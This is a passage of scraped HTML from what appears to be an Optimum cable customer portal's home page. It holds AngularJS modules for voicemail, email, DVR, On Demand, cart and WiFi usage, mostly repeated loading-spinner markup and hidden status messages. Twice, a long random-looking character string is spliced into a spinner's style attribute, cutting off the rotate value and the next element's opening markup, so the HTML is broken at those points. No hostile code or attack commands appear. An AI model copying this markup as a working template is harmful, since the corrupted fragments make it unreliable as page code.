opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(193deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(214deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(235deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(256deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(278deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(299deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(320deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(341deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(362deg) translate(22px); border-radius: 0px;"></div></div></div></div> </div> <!-- No Entitlements --> <div class="no-entitlement-msg" ng-show="!isViewportSize.phone && (module.noEntitlement || module.holdEntitlement)" style="display: none;"> <!-- Webmail --> <h4 ng-show="module.id == 'webMail'" class="ng-binding" style="display: none;"></h4> <h4 ng-show="module.id == 'webMail'" class="ng-binding" style="display: none;"></h4> <!-- DVR --> <h4 ng-show="!isViewportSize.phone && module.id == 'dvr'" style="display: none;"> You do not have DVR service on Optimum TV. <!--<a cta-arrow-link class="primary" href="#">Learn More</a><span if="! isViewportSize.phone"></span>--> </h4> </div> <!-- Error --> <div class="service-error-msg" ng-show="!isViewportSize.phone && module.error" style="display: none;"> <!-- voicemail--> <h4 ng-show="module.id == 'voiceMail'" style="display: none;">We can't get your messages right now. Please try again later.</h4> <!-- webmail --> <h4 ng-show="module.id == 'webMail'" style="display: none;">We cant display your emails here right now, but you can still go to your inbox by clicking Open email box below.</h4> <!-- dvr --> <h4 ng-show="module.id == 'dvr'" style="display: none;">We can't get your DVR recordings right now. Please try again later.</h4> <!-- onTonight (EPG Miniguide) --> <h4 ng-show="module.id == 'onTonight'" style="display: none;">Sorry, we can't get upcoming shows right now. Please try again later.</h4> </div> <!-- Results --> <div class="list-module-results" ng-show="!isViewportSize.phone && module.items.length && !module.listError && !module.listLoading" style="display: none;"> <p ng-show="module.id == 'voiceMail'" ng-bind-html="module.mobileCountMessage" class="ng-binding" style="display: none;"></p> <!-- ngRepeat: item in module.items --> </div> <!-- No Results --> <div class="no-results-msg" ng-show="!isViewportSize.phone && !module.items.length && !module.error && !module.noEntitlement && !module.holdEntitlement"> <!-- voicemail--> <h4 ng-show="module.id == 'voiceMail'" ng-bind-html-unsafe="module.mobileCountMessage" class="ng-binding" style="display: none;"></h4> <!-- webmail --> <h4 ng-show="module.id == 'webMail'" style="display: none;">There are no messages in your inbox.</h4> <!-- dvr --> <h4 ng-show="module.id == 'dvr'" style="display: none;"> You have no recordings scheduled. Set some up using the <a href="#">Guide</a>. </h4> </div> </div> <!-- "ARTWORK" DISPLAY STYLE --> <div class="artwork-module-style" ng-show="module.displayStyle == 'artwork'" style="display: none;"> <!-- Loading --> <div ng-show="!isViewportSize.phone && module.loading && !module.error && !module.noEntitlement && !module.items.length" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 74px; height: 74px;"><div class="spinner" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;" aria-role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(24deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(66deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(87deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(108deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(129deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(151deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(172deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(193deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(214deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(235deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(256deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(278deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(299deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(320deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(341deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(362deg) translate(22px); border-radius: 0px;"></div></div></div></div> </div> <!-- No Entitlements --> <div class="no-entitlement-msg" ng-show="!isViewportSize.phone && module.noEntitlement" style="display: none;"> <!-- cart --> <h4 ng-show="module.id == 'cart'" style="display: none;">You do not have Optimum TV. <!--<a cta-arrow-link class="primary" href="#">Learn More</a>--><!-- if: ! isViewportSize.phone --><span if="! isViewportSize.phone" class="ng-scope"></span></h4> </div> <!-- Error --> <div class="service-error-msg" ng-show="!isViewportSize.phone && module.error" style="display: none;"> <!-- cart--> <h4 ng-show="module.id == 'cart'" style="display: none;">We can't get your <span ng-show="module.isLaBox" style="display: none;">Favorites</span><span ng-show="!module.isLaBox">Cart</span> right now. Please try again later.</h4> <!-- on demand--> <h4 ng-show="module.id == 'onDemand'" style="display: none;">We can't get On Demand right now. Please try again later. <!--<a href="#">All titles</a>.--></h4> </div> <!-- Results --> <div class="row" ng-show="!isViewportSize.phone && module.items.length > 0 && !module.artworkError && !module.loading" style="display: none;"> <!-- ngRepeat: item in module.items --> </div> <!-- No Results --> <div class="no-results-msg" ng-show="!isViewportSize.phone && !module.items.length && !module.error && !module.noEntitlement"> <!-- cart--> <h4 ng-show="module.id == 'cart'" style="display: none;">Your <span ng-show="module.isLaBox" style="display: none;">favorites</span><span ng-show="!module.isLaBox">cart</span> is empty. Pick some items in <a href="#">On Demand</a>.</h4> </div> </div> <!-- "WIFI" DISPLAY STYLE --> <div class="list-module-style wifi-chg" ng-show="module.displayStyle=='wifi'" style="display: none;"> <!-- Loading --> <div ng-show="!isViewportSize.phone && module.loading && !module.error && !module.noEntitlement" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 74px; height: 74px;"><div class="spinner" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;" aria-role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(24deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(66deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(87deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(108deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(129deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(151deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(172deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(193deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(214deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(235deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(256deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(278deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(299deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(320deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(341deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(362deg) translate(22px); border-radius: 0px;"></div></div></div></div> </div> <!-- No Entitlements --> <div ng-show="!isViewportSize.phone && module.noEntitlement" style="display: none;"> <h4>Want to be able to access Optimum WiFi Hotspots? <!-- if: ! isViewportSize.phone --><span if="! isViewportSize.phone" class="ng-scope"></span> </h4> </div> <!-- Error --> <div ng-show="!isViewportSize.phone && module.error" style="display: none;"> <h4 ng-show="module.id == 'wifi'" style="display: none;"> We can't get your usage right now. Please try again later. </h4> </div> <!-- No Results --> <!-- Commenting for covid change --> <!-- <div ng-show="!isViewportSize.phone && !module.noEntitlement && !module.hasWifiUsage"> <h4>You could be getting more value from your Optimum Online service by using Optimum WiFi. <!--<a cta-arrow-link class="primary cta-link-margin" href="#">Learn More</a>--> <!-- </h4> </div> --> <div ng-show="!isViewportSize.phone && !module.noEntitlement && !module.hasWifiUsage"> <h4>We're here to help ensure you have the best WiFi connection in your home. </h4> </div> <div class="wifi-module-style" ng-show="!isViewportSize.phone && module.hasWifiUsage" style="display: none;"> <div class="row" ng-show="!module.wifiError && !module.wifiLoading"> <div class="span12"> <div class="row"> <div class="span4"> <h4>You've used</h4> </div> <div class="span4"> <h4>on</h4> </div> <div class="span4"> <h4>in</h4> </div> </div> <div class="row"> <div class="span4"> <h2 class="ng-binding"></h2> </div> <div class="span4"> <h2 class="ng-binding"></h2> </div> <div class="span4"> <h2 class="ng-binding"></h2> </div> </div> <div class="row"> <div class="span4"> <h5>gb</h5> </div> <div class="span4"> <h5>devices</h5> </div> <div class="span4"> <h5>days</h5> </div> </div> </div> </div> </div> </div> </div><!-- /feature-content --> <div class="feature-cta" ng-hide="module.id == 'onDemand' || module.id == 'onTonight'"> <div ng-hide="module.loading"> <span ng-show="module.link.mobileTitle" style="display: none;"><span class="primary hidden-desktop hidden-tablet cta-arrow-link" cta-arrow-link="" href="#"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span></span> <span ng-show="showLink && module.link.title" style="display: none;"> <span class="primary hidden-phone cta-arrow-link" cta-arrow-link="" href="#"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span></span> </div> </div> <div class="feature-cta" ng-show="module.id == 'onDemand' || module.id == 'onTonight'" style="display: none;"> <span class="primary hidden-desktop hidden-tablet cta-arrow-link" cta-arrow-link="" href="#" ng-show="module.link.mobileTitle" style="display: none;"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="primary hidden-phone cta-arrow-link-dt cta-arrow-link" ng-show="module.id == 'onDemand' || module.id == 'onTonight'" cta-arrow-link="" cta-arrow-link-dt="" href="#" style="display: none;"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""> <span class="ng-scope ng-binding"></span> </span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> <!-- <div class="feature-cta" ng-show="module.error && module.id == 'onDemand' || module.noEntitlement" > <a cta-arrow-link class="primary hidden-desktop hidden-tablet" href="#" ng-show="module.link.mobileTitle"> <span>{{module.link.mobileTitle}}</span> </a> <a cta-arrow-link class="primary hidden-phone" href="#" ng-show="showLink && module.link.title"> <span>{{module.link.title}}</span> </a> </div>--> </div> </div> <!-- if: ! isViewportSize.phone --><p class="current-timestamp ng-scope ng-binding" if="! isViewportSize.phone" ng-hide="module.displayStyle=='wifi'">Current as of </p> </div> <div id="home-module-" class="span6 home-module" data-home-module="home-module" active="HomeCtrl.activeModules" data-module-type="'webMail'" webmail="HomeCtrl.webMail" imsemailresponse="HomeCtrl.imsEmailResponse"> <!--TODO: <div data-dropdown-checkbox="dropdown-checkbox"></div>--> <div class="feature-module"> <div class="select-feature"> <div class="container"> <div class="row"> <div class="span8"> <h2 class="module-title"> <span ng-show="isViewportSize.phone && module.mobileTitle" class="ng-binding" style="display: none;"></span> <span ng-hide="isViewportSize.phone && module.mobileTitle" class="ng-binding"></span> <!-- if: isViewportSize.phone --> <!-- if: isViewportSize.phone --> </h2> </div> <div class="span4"> <div class="dropdown-module-prefs hidden-phone"> <div class="customize-menu-btn">Change <i class="icon-caret-down"></i></div> <div class="menu"> <div class="arrow-up"></div> <table> <tbody><!-- ngRepeat: menuItem in module.menuItems --><tr ng-repeat="menuItem in module.menuItems" id="select-voiceMail" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">Voicemail</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-onDemand" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">On Demand</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-wifiUsage" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">WiFi</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-webMail" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">Email</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty is-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-cart" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">Cart</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-onTonight" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">TV best bets</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-dvr" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">DVR</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr> </tbody></table> </div> </div> </div> </div> </div> <div class="feature-content"> <!-- "LIST" DISPLAY STYLE --> <div class="list-module-style" ng-show="module.displayStyle=='list'" style="display: none;"> <!-- Loading --> <div ng-show="!isViewportSize.phone && module.loading && !module.error && !module.noEntitlement && !module.items.length" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 74px; height: 74px;"><div class="spinner" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;" aria-role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(24deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; 